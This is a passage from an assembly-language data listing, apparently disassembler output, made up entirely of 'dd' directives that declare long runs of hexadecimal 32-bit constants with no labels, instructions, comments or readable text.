8BD1EB51h dd 7EC39BE8h, 7316706Bh, 5B792C73h, 561FC97Ah, 0BF06BFFCh dd 35A5EFE8h, 0A45951B0h, 0AB7D6D9Ch, 1FFFAAB3h, 53265E03h dd 0E9124F97h, 0E1CAB568h, 3D860720h, 0ACFC74E3h, 9AABA6FBh dd 1FFE3549h, 21C56266h, 6DD20534h, 0A6325B0Fh, 0B96F8860h dd 0A94F52BDh, 4D26C521h, 0BC15558Eh, 9C5BE459h, 2D5E930Bh dd 93C25454h, 0B6FE8EB4h, 34348015h, 1165BBB1h, 8A325863h dd 0EB56B7ADh, 0BC005721h, 222232B1h, 3BCD04ACh, 4436AAB0h dd 1A032F15h, 0D293787Ch, 0FDFE29FDh, 52B13E4Ah, 163292AFh dd 935680ACh, 0E2D0E6B9h, 93C6A93Eh, 0BDF68071h, 0A359A83Ch dd 945277C9h, 0DE6A003Fh, 0E00176BAh, 0D15451D2h, 8876639Fh dd 0AF126734h, 0F093A9C1h, 0FCF05966h, 0B78A50F9h, 5F18C79h dd 0DEE354C5h, 5FB04906h, 0FE1B0D66h, 5BAEA4DBh, 43F646B1h dd 692515D0h, 3F662724h, 7FA2E54Ch, 645AFCBAh, 0BCAA557h dd 7254F529h, 0B2BAED62h, 520D8CBAh, 20547DFEh, 1F560066h dd 5602310Eh, 0FC54EFF1h, 8033696Dh, 0FE353BE3h, 46627597h dd 0F11A5C1Dh, 4C6DAD21h, 7C3EE063h, 0AAC47EB3h, 660217E3h dd 22A63094h, 5C9A318Ch, 0B19D9870h, 0D279EB7Bh, 2086430Ah dd 0F9823140h, 55C0D08Ah, 0F3AE7154h, 0A3729E19h, 3E921C76h dd 5C01D1F1h, 3A27B15Ch, 14639DBDh, 63F40EA0h, 0F3AA9065h dd 0F10322BDh, 0C83A5415h, 86BE176h, 0F3A25C74h, 5108E57h dd 0FCF5C4B2h, 82206EF5h, 70A3E848h, 1AC91B5Eh, 5AC11F19h dd 0F300AD5Dh, 0DF6C31C9h, 1EDAC8DAh, 7B63787Fh, 9C8230FEh dd 3F534719h, 7488358Ch, 6FFAAA3h, 0A3326A7Eh, 0E6566D65h dd 0A6055814h, 4476EE19h, 8635319Ch, 0F08079CFh, 5FA8E60Bh dd 0FE77D6B5h, 970B4D11h, 0E66234FEh, 76919B2h, 5070A3B3h dd 2077D56Dh, 7D79CEBDh, 0BD0EF97Fh, 82D27419h, 9C68A9FFh dd 0E7CD2938h, 0CA437D03h, 2975BD9Eh, 0B07C030Fh, 0E35D76B1h dd 0EAAE60B3h, 0AE2D236Ch, 89BE7062h, 5DAAD567h, 2AA6B6F4h dd 0A77C9984h, 6D75ED35h, 0A97AE07Fh, 0FC0E84BDh, 0BB2E7031h dd 26A57635h, 0EBAEE302h, 28C5316Eh, 3AA23092h, 0FC5635F4h dd 0DDFC394Dh, 0DE071BB5h, 45D062CDh, 0DE2D3135h, 0B5F14ED7h dd 81810845h, 4FF29E1h, 0DF00E845h, 91183145h, 0E07E5968h dd 60265368h, 0DD353075h, 3902F8B5h, 9E37EDC4h, 0AED212DFh dd 0AA062BE2h, 52223062h, 0A4803DC4h, 0B2F21CFDh, 0AD7F8FB1h dd 4688E6ADh, 3EFFB7B0h, 83396A5Dh, 0B68E6781h, 0A47F8144h dd 0AB32459Ah, 0B08B4921h, 7306153Ch, 0FE97BDFBh, 279EE63Ah dd 4F3AB49Ch, 6FC04FDEh, 0A76BE5B8h, 20DA3459h, 0E201339Ah dd 5D9DED53h, 8F06537Eh, 433DA953h, 66ACEFEh, 6AF0DD1Fh dd 0C109F00Bh, 7C2A5833h, 71326C9Dh, 7342BD66h, 71133346h dd 83033C17h, 4B5AA121h, 27053EE6h, 92D449B3h, 0B07F8AB4h dd 3C5E4AE8h, 0EE3B4885h, 0FAB34AEEh, 586F4921h, 32BEFFACh dd 1F6A0283h, 0AA9371ADh, 0C48B3584h, 7607DFCEh, 0D4608542h dd 0AA2540C4h, 59946584h, 0B760D8D4h, 1C2E52C1h, 9ED6C21h dd 0FF5281A5h, 4B8F22B0h, 2A431943h, 0A6223D83h, 56DFAD84h dd 0FD63E464h, 5CFAA94Ah, 0BB0E6924h, 89B643DDh, 3B325099h dd 35587E46h, 63DF5CABh, 0F3A30332h, 0DF56C9E2h, 0BEA5ED7Eh dd 801F53E3h, 0FA08A054h, 325D1020h, 60B18ABFh, 0BEA46BE2h dd 2C5A3121h, 0BFEB880Eh, 0FB8B7DE5h, 5104AD9Dh, 0F513417h dd 2B146045h, 1907500Ch, 0DE355C8Dh, 0E283253Ah, 73BBCD66h dd 881CA5FFh, 0D8C461FCh, 54D1EC74h, 69CEC771h, 0DDBA85E5h dd 0A2A8F732h, 0AC0538B2h, 0CB4C2313h, 22E9F6E1h, 0BED3E4BFh dd 1712FBA4h, 0DD32854Eh, 0A682DDC4h, 5BD30065h, 0C018E798h dd 0DECE901Bh, 569631B7h, 93A3E921h, 0B381837Fh, 2B2FEC52h dd 154BB9E4h, 23350EEFh, 0DE45866Ch, 0DE2EFE53h, 0B53C7C5Ah dd 823336FDh, 5B0C1A0Fh, 0A3CF6F04h, 0AD983117h, 4DAA2C58h dd 76DACC4Eh, 0F87E986Dh, 0FC9B593Ah, 7F321717h, 4F5575EFh dd 0F1F004CAh, 0B11D8A72h, 0AEBBFE1Eh, 2F9FB5F5h, 0DEF2BEA3h dd 0A664DA43h, 0A5225327h, 6E5A9A5Bh, 573CF830h, 91017DCFh dd 0AAA5DFFCh, 0EF912994h, 81F965CCh, 0A4E3F790h, 0A0D17B59h dd 70A0CB5h, 0B2B1A24Ah, 0F42E41A3h, 432510CAh, 42DD1F8Ah dd 31F213E6h, 0A5A60BF9h, 9F3E0D56h, 346911F5h, 4F562290h dd 46E23C77h, 5626E1D6h, 8BCA457Fh, 0BBB6A6B9h, 52B11B61h dd 36204748h, 5A23C759h, 0F3992989h, 5CDA897Eh, 712A1923h dd 62FD1934h, 50FE765Ah, 0F2A235D9h, 6A5129E2h, 0B81A156Bh dd 0CE14E225h, 0F6166302h, 25AA73B1h, 0F616AD5Ch, 0DDD53017h dd 35DF8B2h, 0F601EABCh, 1E19FD51h, 4F240635h, 97065B42h dd 0AA38480Eh, 8AF1BB38h, 0BF39522Bh, 5DE50FCh, 55B8CBF9h dd 7BB8BBA8h, 0E3FA63C3h, 0F408AB5Ah, 0DEC5C333h, 51C20324h dd 53F42D99h, 18BCA7A8h, 911438B1h, 8365176Dh, 0DF2B0A2h dd 1B39658Dh, 756B1A9Dh, 7319239Ch, 34354865h, 0D623BAE9h dd 3450E364h, 20D8DE6Bh, 0AF14BA6Ch, 0EF6DBEE6h, 4D1F9B65h dd 79035133h, 708AFCD3h, 0CD97D611h, 0B10BD903h, 0B00C74BCh dd 22DD0B35h, 0F2F0E35Fh, 306BBC4Dh, 610D26B4h, 0A93DF902h dd 0AB088F37h, 9D1B00B4h, 6E5A0BE8h, 0C2DAA4C3h, 0CD0A3A6Eh dd 0A34D2833h, 821C76FFh, 8DC9988h, 235A9E5h, 0E0748587h dd 32321E08h, 0BF85D57Ch, 0CE0B1F7Ch, 63A970Ch, 621DC886h dd 59AC8815h, 1DDCED84h, 0C9FA4D1Bh, 770D17E4h, 98423614h dd 9D4B285Ah, 0BB2E461Dh, 23BA4481h, 58FB7274h, 5F7E9960h dd 3AA475E4h, 2165DDF5h, 6E2E6F7Eh, 387E7089h, 976EC250h dd 0ABAAB513h, 0EB9D4471h, 7C0E026Ah, 142E448Dh, 32BAAC89h dd 0F6DAD7E4h, 0B0D473Dh, 0AE1620B4h, 69677D44h, 4BE0451Dh dd 0EE221D7Ch, 0A401F888h, 0E1AEAB27h, 300DA65Eh, 0D273162Ch dd 7082B660h, 368D929Ch, 0A36770C2h, 4374EA9Ah, 6EF0C9CDh dd 515D32D7h, 0D6214052h, 0AA22D288h, 0AC37E3CFh, 0AD631CB3h dd 0B21EADF8h, 66D6C92Dh, 664EE51Ah, 0AA2A8650h, 833337AFh dd 95426CDAh, 0F4A49918h, 0BBDC0B1Dh, 0D63D1FF6h, 852EE050h dd 951194CEh, 6292ECE6h, 20DA8446h, 277E9117h, 5D471950h dd 0AFD480B9h, 22E8D134h, 5E640D4Eh, 2F6C073Bh, 528A183Ah dd 1F366713h, 5B0C653Dh, 56501A0Ch, 4410D2D4h, 7E9C053Bh dd 0A63AB55Dh, 4FF82133h, 95BC008Dh, 239C23BDh, 0FF96DC35h dd 81A31D63h, 996C66DCh, 8305CC6Dh, 1CD09C21h, 54030569h dd 6B1E178Ch, 660E8003h, 19BF3F14h, 5E09AE33h, 5CD98F0Fh dd 4AC6932Bh, 0A3BB6181h, 0A67238BBh, 42DA363Ah, 0A586D150h dd 0C06AE9C4h, 62DA5F72h, 3A0DE66Dh, 0F04F9348h, 0C4C1087Dh dd 0A1809CEAh, 30533D68h, 2E2E6B32h, 0B238686Bh, 2E1151C9h dd 309148BEh, 3EAA2575h, 0D961CC96h, 0F7187FFBh, 3BDE5BE8h dd 0B83D3A1Fh, 49A3383Bh dd 0E57BDBBCh, 3A32F532h, 554E29E6h, 4A229C03h, 5CB91C4Dh dd 0A54336B5h, 3DB18873h, 0A2C40DF3h, 2E9CEC5Eh, 0D420C80Eh dd 0B11929DCh, 0F96C0DFFh, 0E55B6D2Fh, 291755BBh, 0AAD71DE4h dd 34A00AC1h, 5D98D9F1h, 75AE7451h, 7043306Bh, 8E3ACD42h dd 0EF74A9E6h, 0EBC10161h, 2E1EFF04h, 3A3C159h, 139DD751h dd 2C197113h, 0ED0F4EB7h, 3A1A97B3h, 8285EDE9h, 0B2117558h dd 0D09123A9h, 93EEC859h, 2A830CF4h, 0D9B17048h, 0BA212A34h dd 19B212A5h, 38642C7Fh, 0E02212Ch, 903FF2Ch, 0F12312ABh dd 6A21B933h, 0BED8FF7Ah, 0D211F2B5h, 0A412ECDBh, 2AC900C6h dd 830E7658h, 420C2360h, 4ADD20A2h, 6D2C3FC1h, 0B00ECB9Dh dd 59B86740h, 441DF8E1h, 5C6F1C41h, 784591Dh, 3C79436Ah dd 0EA5A0D09h, 4EC0424h, 0D552C942h, 0A5669D62h, 1EEBABE7h dd 7DAD0937h, 0D6B0C4FBh, 53840266h, 10714E8Bh, 0D6D36761h dd 0DB3814EAh, 8FDADC23h, 8E24638Ah, 3EDAAF04h, 0B764E1D5h dd 7BA75543h, 635D3495h, 0AEE0D76Bh, 1706F77Bh, 9852EBFEh dd 740CBDF1h, 219A5DD5h, 700B05BDh, 7D4FD144h, 0C63D13B6h dd 76F14A03h, 8232110Fh, 53841898h, 61809B45h, 5CEF82CAh dd 0A20618FDh, 36BA13EBh, 2072ECE7h, 864210D6h, 26F19378h dd 66480DAAh, 8FB84541h, 0AB016420h, 8F9309B4h, 0D8D9296Eh dd 0AB566F33h, 0AAB8AA7Ah, 4F7F5CA9h, 72B6EB85h, 0A4293D46h dd 0BA985C0Ah, 47F8CFD1h, 0ADC395Dh, 0E40F9EAh, 822C49EFh dd 224F128Dh, 86F74976h, 473BF268h, 0BADF8A3Dh, 0EB1E5699h dd 429B37BCh, 0B23A15EFh, 0DD2D6763h, 0C4637555h, 75004460h dd 8D436E8h, 0B22DD02Eh, 138BDFBEh, 9DB61062h, 0CB8AC05Ah dd 50838574h, 67162ABFh, 6445FBB3h, 32DAA3F0h, 0DDFB0CE8h dd 0A37FC1F5h, 0C8DAC003h, 13EEC0B0h, 72CA2F7Eh, 0CBA18C55h dd 0FAF70E03h, 84A67EACh, 0B863AA88h, 5E1E7DA0h, 75A60443h dd 0A2F8D9DEh, 0EA07B438h, 0E31D1047h, 0DEEB1ABFh, 5D134629h dd 0BAA62D58h, 0AD6A1316h, 63490421h, 21F300Fh, 0FAB01658h dd 0A932C8FAh, 0FF23B358h, 0DCB462Dh, 0C26233C9h, 6A4D8D5h dd 22865D75h, 49F5D99Dh, 1A26CF59h, 168903FEh, 0AF6225E3h dd 2365D944h, 97729D4Ah, 3A80B485h, 0CE4603E9h, 0FB3D0051h dd 32695838h, 0DCEB207Ah, 887EDF6Fh, 2A12AD75h, 0A6F35960h dd 9B1143D1h, 8EF00E7Dh, 0CCE86966h, 4975ADF3h, 0C6BFA5D8h dd 9C746683h, 4761754Fh, 49F58EB3h, 6EBEBBDCh, 0E6EAD281h dd 0A8617544h, 0F57FBFC0h, 0E049C131h, 0F55B1728h, 0BC793F36h dd 0FF57C0CCh, 0FC9936BBh, 3E177E1h, 0C49E7C2h, 60D92941h dd 0FEE6AD94h, 9EB09254h, 0A29044D9h, 0D65A5F23h, 0D9394BA2h dd 0EF5936F8h, 121440AFh, 48FC7AE2h, 19688CB4h, 7C166F66h dd 9A34335Ch, 60EB5F52h, 0E01CA0CDh, 12EAD30Eh, 0BACDAFEAh dd 47981421h, 2A1F7D4Fh, 8AE1508Bh, 6BB92CF2h, 757F0016h dd 0B1025460h, 23422AD2h, 0D7C3174Dh, 0A29CFF0Eh, 0B4A99B8Dh dd 1EBA7360h, 85F336BBh, 34C6C558h, 48CE9405h, 27EE231Bh dd 233E41BBh, 0F9853CE7h, 970ED54Ch, 3696C355h, 0B1B89B75h dd 4C5BB631h, 2620E190h, 2532E8E3h, 91B7DC65h, 77E3D773h dd 52E3779Ah, 0E9E2CDA4h, 2BC5BE30h, 675D3AA0h, 0B51B75Bh dd 4772EEDDh, 832B86DFh, 9FF97AE8h, 57999971h, 98F0EE28h dd 0DE339D91h, 0F3DF30ECh, 5E38A15Dh, 0A117AB09h, 29D825C3h dd 0FB2C64B6h, 952E202Fh, 0B0F503EFh, 45AD0A2Fh, 5940E39Ah dd 0F3BE621Eh, 57483CA3h, 5C8FA30Eh, 4477FC7Bh, 0DBB8EF31h dd 8F194849h, 6DDAEA7Eh, 0A9BFB5CBh, 61F81549h, 409B0CF2h dd 9FFE176Fh, 0A190DC68h, 0AC8F0D36h, 33699320h, 2918417Bh dd 0A6C8FADEh, 0DE0A5110h, 60E93038h, 3980050h, 9FAA5120h dd 43AB494Ch, 32BA6D5Ah, 4FE88BE8h, 0A50ABB3h, 82309845h dd 716D1213h, 66A45F47h, 97AC6245h, 0D3553049h, 4364C9B4h dd 2E142BDDh, 0FABCDFDAh, 8543D138h, 0D615D52Ah, 0FF80C7D0h dd 0C9FA3311h, 0A558C241h, 44E3066Ah, 0D4FF9E2Ah, 3E8AC6BDh dd 0FB350439h, 781807BCh, 652125A7h, 0E504C3A2h, 1DFC87A5h dd 29D301A7h, 25360C9Ch, 9BF97455h, 21195337h, 0D5561F47h dd 0D8FC23F7h, 0EE34A0A3h, 845A2EEEh, 73B0B3h, 49408C63h dd 0AB2BB1FBh, 164CC609h, 72AEFE58h, 6222AC71h, 9631EA21h dd 0B85DA5Dh, 62D6EC01h, 0BD032D4Ch, 0DB7DDC90h, 5F40F2BAh dd 0D17EA934h, 711B1A63h, 0E428661Eh, 4342E068h, 7AEB0452h dd 838512F7h, 5CB8EC5Ch, 1A093301h, 444A003Fh, 0F413E5E1h dd 0B3D9345Dh, 858C4AE1h, 620496CCh, 0DC9C319Ah, 1BF45E80h dd 0A34652E6h, 0AC223E84h, 0DF80F367h, 0AE1D20DBh, 83736F65h dd 0C57B9E70h, 0ADE7D941h, 0C5BB9D9Ch, 10536A6Ch, 39A9811Ah dd 7B940C8Eh, 8CB1ACE0h, 0CEE2F5A6h, 0E25AC0A4h, 4E1AEC14h dd 59AF71E8h, 0D30DEF72h, 4D066C48h, 0B1D997ECh, 0E943268Fh dd 399B3D1Dh, 4B5C3AE2h, 2EF9DDD4h, 95EDCCC9h, 0AA33493Bh dd 9B2FACEFh, 0AE21AA97h, 222E9C8Dh, 36EDBFA4h, 0CF00B1CDh dd 7A424E41h, 27C04855h, 463E68E8h, 9BC39271h, 7E0399D5h dd 0F2140627h, 1DDC3561h, 17FF2D5Bh, 0FBD32BBDh, 0CB4FB09Ah dd 0C431DC34h, 29B91137h, 0AFF38455h, 4F5B4415h, 0D9A0A9EDh dd 0E04B33E0h, 616A58BBh, 3D28426h, 0C01F425Fh, 595CDE0Bh dd 618FE142h, 3EB128DEh, 0AB639E3Fh, 347A289Dh, 0AE140FADh dd 0B219023Dh, 0E5913C69h, 8EEC1F38h, 0A7A18BC9h, 32650B42h dd 5195A44h, 0A3F0375Bh, 0D207A859h, 4E5BFD44h, 7750A63Fh dd 5CF8A06Ch, 0AAFFB4AEh, 98AE3CA9h, 0A3E3EB29h, 0A2361183h dd 0BE7BCB4Eh, 0AE3F5E44h, 991C1C0Ch, 0E32EB4FBh, 9EB6EFE2h dd 0AEE4A4EAh, 0BC58BB4Eh, 0F73FDCF8h, 6F358DF5h, 9B244AA0h dd 9484A5BEh, 8A18362Dh, 3535449Bh, 291C32B5h, 0AE313A9h dd 15DCE875h, 21003363h, 8A3A2832h, 2CB5B2F0h, 9B10DC5Eh dd 3323AEB1h, 940A7247h, 78E42D4Dh, 3C9B2A11h, 42A97112h dd 47298572h, 0AB7DA1C1h, 0BA4445CBh, 50777CA6h, 562506E1h dd 7069C552h, 5433243Ch, 831189F9h, 9BB97F74h, 0CC8E83BDh dd 0B3A53ACEh, 20B5395Dh, 1A22357Fh, 7F63053Dh, 0FC7D1019h dd 60BCF2B9h, 2E0100ADh, 52BD0E15h, 22035D17h, 0BC82CC45h dd 422A22B8h, 0B70A0E74h, 0AB6CA47Eh, 5ED1014Ah, 5681A422h dd 0AA393144h, 0FBD1E051h, 7B328159h, 0AB750D95h, 0B6DAD909h dd 4C06FFB5h, 0AB8536B1h, 0B97F43B9h, 82413278h, 0E13B2CA2h dd 0D61B62A0h, 86DAAC6Eh, 475E1FA8h, 4102825Dh, 9BDB3AB2h dd 8672D2A3h, 1D1AEAB0h, 471BE3E4h, 4B9D41FDh, 41205911h dd 0EA43ED15h, 0DE06247Fh, 0AFE10263h, 0AE2034EDh, 0C6678EB5h dd 0A7AD3C92h, 0AA28995Ch, 0DF6A6921h, 2C4D1311h, 7636C2B8h dd 3942427Ch, 2BFD31C4h, 0E02EE795h, 1F608EB4h, 0F2E342EDh dd 8C4D3983h, 0FD01C54Dh, 6AF3753Dh, 64BDED4Ch, 5ED77D05h dd 67691351h, 0A722FDC4h, 38C8B2C1h, 260303F1h, 0F6230045h dd 3E2BE184h, 1E3231C4h, 0A6583ED0h, 21750BC9h, 0AAFFCE37h dd 40EAFC44h, 0B763ADDDh, 0BE46E395h, 0A8653C2Dh, 0E3609AB5h dd 0FD16C3F9h, 0A236654Ch, 0CA003BC1h, 0AA37D55Ch, 0DF5E69C5h dd 0D2BD1335h, 2461D9D9h, 1B1D29CDh, 0BA3AE3E9h, 4E06F1BDh dd 6627314Dh, 635314Ch dd 5C3A5CBCh, 0EE353B5Ch, 0B346A5C4h, 86EE8801h, 64975FB8h dd 1E362B8h, 0EB1A999h, 0B97EF613h, 56FDEC37h, 0E0871544h dd 0FEB30544h, 2C36C603h, 0FC363206h, 62F530AAh, 0A79B495Eh dd 21713971h, 208D3984h, 0BBBC690Eh, 0FC5528A9h, 0FD6134D4h dd 4B605554h, 61B64375h, 6DB4D171h, 0C2A397FDh, 284613AAh dd 0E8F5A69Dh, 42A17944h, 0E8F08534h, 0AE339A3Bh, 4EB11835h dd 8E23B862h, 0A79927E7h, 722B428Bh, 5DB6F2B9h, 0AA350261h dd 4E166B51h, 0F37B5177h, 0A890DBEBh, 0A6350FB4h, 8F63FFE1h dd 7E275D44h, 87FBE003h, 9F023382h, 0FA3D0671h, 4B253163h dd 4380FD22h, 516228FCh, 0FDF530D6h, 46636D21h, 0F6B34144h dd 0DA17AAE3h, 0E80249Bh, 3F204E47h, 274852A3h, 60BE552Dh dd 0A8690B2Dh, 449C950Fh, 0B2F334F9h, 2F85004Bh, 0CAB87491h dd 0B48EB2B8h, 36DF8D3Dh, 7ECD345Eh, 0B2B2C305h, 89BC423Dh dd 5DB682B9h, 0FC953129h, 2EE0D1FDh, 4D513A82h, 0A6E5107Dh dd 7201AABDh, 6A352D42h, 5C0219FBh, 4A3372B1h, 0C2FD347Dh dd 2161F94Bh, 637E171h, 0BB0EE239h, 0EE1F8945h, 9EED8308h dd 4EB10D44h, 7F26A95Eh, 0F2E81E95h, 0A2013B1Dh, 0A7B28553h dd 6CBE58A9h, 8A1B0E9Dh, 0BB96ECB8h, 4126BD85h, 26DF713Dh dd 0B3813443h, 5F4A1EE5h, 0FA93FAB8h, 6EE83076h, 0AB328625h dd 0C620CDA4h, 7C3E357Dh, 9333434Dh, 0A69130E3h, 3601AF98h dd 7AB24044h, 22DF7CFDh, 0A77BE57Bh, 0D87A8D35h, 0BEFA9100h dd 4CAECDD4h, 0A6FD38C0h, 0A2EEAFCCh, 5DBCB5B9h, 0C3C201A1h dd 13D13519h, 0FDFEFEB5h, 0A2D6A014h, 0A222A01Ch, 0FD62A104h dd 4E43F83Ch, 9EF23382h, 4B734595h, 0ABA6EE37h, 0C6BA439Dh dd 4C600583h, 5C850539h, 0B45A9383h, 40DD0581h, 0C7958D9h dd 2A206391h, 0FCD110ACh, 7A2AE2B4h, 0FC7934DDh, 0EA364A3Fh dd 52234362h, 42BAA534h, 0AEE04501h, 0DC2B814Ch, 862D354Ch dd 9E215963h, 0AF7B7EB5h, 0A409B6Bh, 4FC3343Ah, 0DEB3E5C2h dd 0FC792065h, 0AA021EB2h, 2C124014h, 0D2AADAB5h, 5514AF89h dd 0A6FE6CFAh, 0F6082D13h, 0E0B45569h, 9DF01070h, 0FF86C954h dd 0E6CE70A6h, 0B860EDEDh, 8AF36DC9h, 23143EB8h, 4A240474h dd 0BAB359C7h, 8507DD62h, 0B6AA55C5h, 878E8F35h, 6CC25DB8h dd 1BD19AB8h, 2B60B6BDh, 0AA2BA945h, 0FCC5BCE9h, 0A55138ADh dd 0FD4AD6B5h, 66E130AFh, 0BBBCF902h, 62B240A9h, 5E377DFBh dd 178B1E51h, 1A130161h, 0A6353434h, 0BC61E2CDh, 0B40EB2A1h dd 254C31C6h, 86FFE085h, 0DF75347Dh, 41CB1E89h, 7A106D61h dd 6C8EE034h, 0F28D3EB8h, 56BB40A9h, 0EEC3C5BDh, 0AAEE0FAFh dd 6852AC21h, 5EC531FDh, 6BC83160h, 1032815Eh, 0AB751C95h dd 47DAD914h, 4E06CAB5h, 1273140h, 7C32C966h, 0FE3EA640h dd 0B60A0C4Dh, 963A4DE4h, 919D2920h, 0E55AB73h, 242A6867h dd 0BEE0BF15h, 237C1283h, 0D2DCE9EDh, 9EF889BDh, 0B4E5188Bh dd 56B2F142h, 8A62ADFBh, 1AF30347h, 0B332837Bh, 4E2228B9h dd 17BEF3E1h, 0B336EB53h, 8F5134D5h, 637E9DAFh, 4D66E2B8h dd 0CADEB815h, 0BD8EE6BDh, 0E06A89FEh, 0BBD10B15h, 3B2EB14Dh dd 0D8F55FF5h, 457C6167h, 0E21FBD5h, 23CAE583h, 22F8EB29h dd 4226CD45h, 1630AEC1h, 0E2F8F0B5h, 7CFECC25h, 2A2BD1D4h dd 0A7B21358h, 0E3606AB5h, 7CBECD75h, 76213865h, 77BEED8Dh dd 2B75AA31h, 8376ABD4h, 0DEBAAD9Eh, 42221741h, 4AA30D35h dd 0AA2AEE51h, 72BA5CA9h, 52BD3196h, 0BD12E209h, 4DE5A159h dd 5AE7C7E5h, 5F81FA40h, 19F007C8h, 4DEF3524h, 130E18AFh dd 1DEDE7C4h, 46D13128h, 0CE5F4CA6h, 37C2229h, 0C2002D2Dh dd 0F21A164Fh, 0ACECF345h, 75C9490Ah, 8CE108F4h, 2BCBA857h dd 4E027515h, 7A32AEF5h, 442B5CE1h, 0EE011144h, 5D267913h dd 72820061h, 61B450A9h, 0EA650089h, 73E346F5h, 0FE202BFDh dd 0AF604935h, 0E238F84Ch, 0B756F031h, 9225AE95h, 0BF23E334h dd 0BD38C10Ch, 0FD4AB191h, 0B3523985h, 4216ED20h, 0FF62B7A9h dd 0E37EB120h, 9221FFE8h, 0FE3EA995h, 0C60D29E1h, 0CCBBE33Fh dd 0A6FC3DE1h, 2A813144h, 2A2FFC53h, 532E8335h, 1222374Dh dd 76990035h, 0F8293020h, 4BE66D84h, 223B3E98h, 0B61EF05Dh dd 5E32AE5Dh, 0BDEC98FDh, 46B35691h, 42D211FDh, 2B2F50B8h dd 0E81CB1E5h, 79BA9199h, 0AECE1822h, 0AFFFB60Ch, 20B0141Dh dd 6AE33D7Fh, 0A9CE9E3Fh, 3715DE40h, 9E1EDDE3h, 0FF50D8Fh dd 5F358D4Ch, 0E124D639h, 0B034A5D8h, 74D83E2h, 2E3636A1h dd 9AE38F11h, 9CCE6820h, 7D9140A6h, 9A20A949h, 5DEC7A52h dd 92FFB40Eh, 2DB10B94h, 17BBD5E4h, 96E7B89Ah, 9ABEA934h dd 0E919693Ah, 0BFC1C511h, 1FEF139Ch, 1830FE6Fh, 0A421CE7Dh dd 0D72DFC17h, 0AE4401C3h, 0BB42051Dh, 142C88D5h, 7CE79953h dd 0D482EA39h, 9E25277Dh, 0D7304D9Dh, 2538D997h, 0D7ECFE95h dd 0F49D33B2h, 0B9B75EFAh, 7176BDF4h, 0E109A107h, 9C0B9E10h dd 270DDF67h, 6E6F2D07h, 611FA14Dh, 0B2802122h, 8BD0E76Ah dd 211029Ah, 7F1CBCFDh, 73FBEDE5h, 9D34E882h, 0BC2625C6h dd 0DF229F3Eh, 0D634C5D5h, 1F3BBC28h, 1638B91Dh, 1DA679F9h dd 71EF3D3Ah, 0A1113758h, 3F71F6DEh, 1B9F336Eh, 0ACA13527h dd 0C60BB8CEh, 0D0042F18h, 0D8385266h, 38384D51h, 8B399393h dd 0DE0956B4h, 0DD6BF967h, 52A53CF5h, 0E00DAA4Dh, 66F06107h dd 4014641h, 70435895h, 2725A4A5h, 0EBED2764h, 0F702F19Dh dd 5664DAAEh, 0F7AD1B9h, 0D1342210h, 616C2267h, 90CFE93Dh dd 9F59C64Ch, 1212942h, 0A0AC63A0h, 0E55A76A2h, 828D4324h dd 185B6087h, 97E45CB5h, 175A6286h, 0EB4C2DB5h, 88EDFFE2h dd 7286DA12h, 0A5D6C5F8h, 291798E7h, 5B5652A1h, 99350D29h dd 82AE12B0h, 41BAF720h, 7126E71Bh, 5D2CE74Ch, 0BA411CAFh dd 1AA5AD00h, 821CA721h, 4DD6C37h, 3B1F54BBh, 0F49EA396h dd 0BD2C0E34h, 60312B39h, 16C30F6Ah, 5D7DAA8Bh, 0FFD93F47h dd 0D8E73FB1h, 0BD9B117Dh, 0B062A907h, 4A1931E1h, 0AF8BE33Eh dd 79F1BD4Eh, 9D2E50C4h, 9E4F920Ch, 2541C8B8h, 194F0D09h dd 1D64FF35h, 4AD853C6h, 194CADA4h, 0AF6A494Fh, 2C409856h dd 0EA436EABh, 9809EE46h, 0D758A568h, 7930D141h, 2344623Ah dd 3B7BF02Ah, 0A59B37FEh, 31ACFDA4h, 6AEDBB74h, 580267E7h dd 70F4D1CBh, 14C780CDh, 71AE82BDh, 0A6239A40h, 0D503A91Ch dd 0AF470007h, 6383DF13h, 523917A0h, 4A111E4h, 36C45D16h dd 0B1DD2EF7h, 7261494h, 0A22D14C1h, 6822E761h, 4AE49160h dd 0DECF8C15h, 16F6CB3Ch, 70F8BD43h, 0DF080DE7h, 0DBA4B81h dd 9F378BFEh, 9B17B14Dh, 7EA6B2A3h, 57E6BEE7h, 0B2392DCEh dd 25D13D7Eh, 0AC24BF3Eh, 0D743A561h, 6EF910Dh, 9C372930h dd 346C2A9h, 3EE64A3Dh, 0F3B2C5Eh, 0A2DE64BEh, 7481EAB5h dd 7A844810h, 6BA11ABDh, 48CE2DB0h, 76F0B875h, 7EB903BDh dd 0BCED01A4h, 934311B2h, 7E276471h, 14EEF18Dh, 0A4233C32h dd 44318FE1h, 8B30E328h, 191F3226h, 0EBF705D3h, 77622633h dd 683E0F45h, 0A599AD1Bh, 0C03B511Eh, 1D3E2B8Bh, 0BFCCCDA7h dd 128A76E4h, 8A5708C5h, 9EFD0A43h, 0B7D2C94Bh, 0C55EB221h dd 7621E17Bh, 0D0284A63h, 54057940h, 578A30B9h, 75232AC5h dd 92C023BCh, 0B9CCC4A3h, 6E1FD71Ah, 0B5FCE3E0h, 0B9F7EEBDh dd 0CD35E9ADh, 83FE0793h dd 2D458CC8h, 1C67A747h, 20B63911h, 0A54D30Dh, 3D5A8379h dd 0F34C204Ch, 0FF9ED60Ch, 2537359Ah, 4D13CD37h, 67E91AADh dd 64B11BBFh, 1D34DFA5h, 47FC3DFFh, 2FC62724h, 5B7ED338h dd 9EB7963Eh, 1F2EC0E6h, 98F5901Dh, 0BEDB3128h, 98D628D9h dd 77EB7565h, 0CE696217h, 0BE8D3D03h, 622F7372h, 902B664Ch dd 66B5806Fh, 7A0522B3h, 60DEDC0Ah, 0A678F14Dh, 0D933F942h dd 7CA580C6h, 53E9ACC4h, 0EB1C3DC8h, 6938B826h, 6B85A994h dd 6A202B79h, 6AA067B5h, 0BB386654h, 0EA23E675h, 797683EAh dd 8936838h, 0A4598B41h, 0D36E3925h, 3C7A67D3h, 0B8F6DA54h dd 5C920325h, 0AA322742h, 0AB810011h, 0D9827608h, 2362E203h dd 0C05EDE9h, 0A88338EDh, 0BB339D44h, 3EDE91FDh, 3A966744h dd 3DB2A44Ch, 0C70E8960h, 96F63522h, 9238F1A6h, 133A679Ah dd 64070187h, 36DA267Fh, 7E2B16Ah, 23DBCD9Dh, 7728D52Fh dd 552E4055h, 0AFC7624Ch, 55F3B969h, 4EA8F29Dh, 0EFFA8AF6h dd 4AAD0D9Ah, 0A7C7C2BFh, 7C1AF438h, 0D96F0B74h, 2F3FA5BAh dd 0C31CD331h, 0C4E3354Ch, 0E6355320h, 6DE74567h, 2AEB4F68h dd 1D157FD4h, 0E21929E4h, 8631821h, 0B6913B5h, 0DC874940h 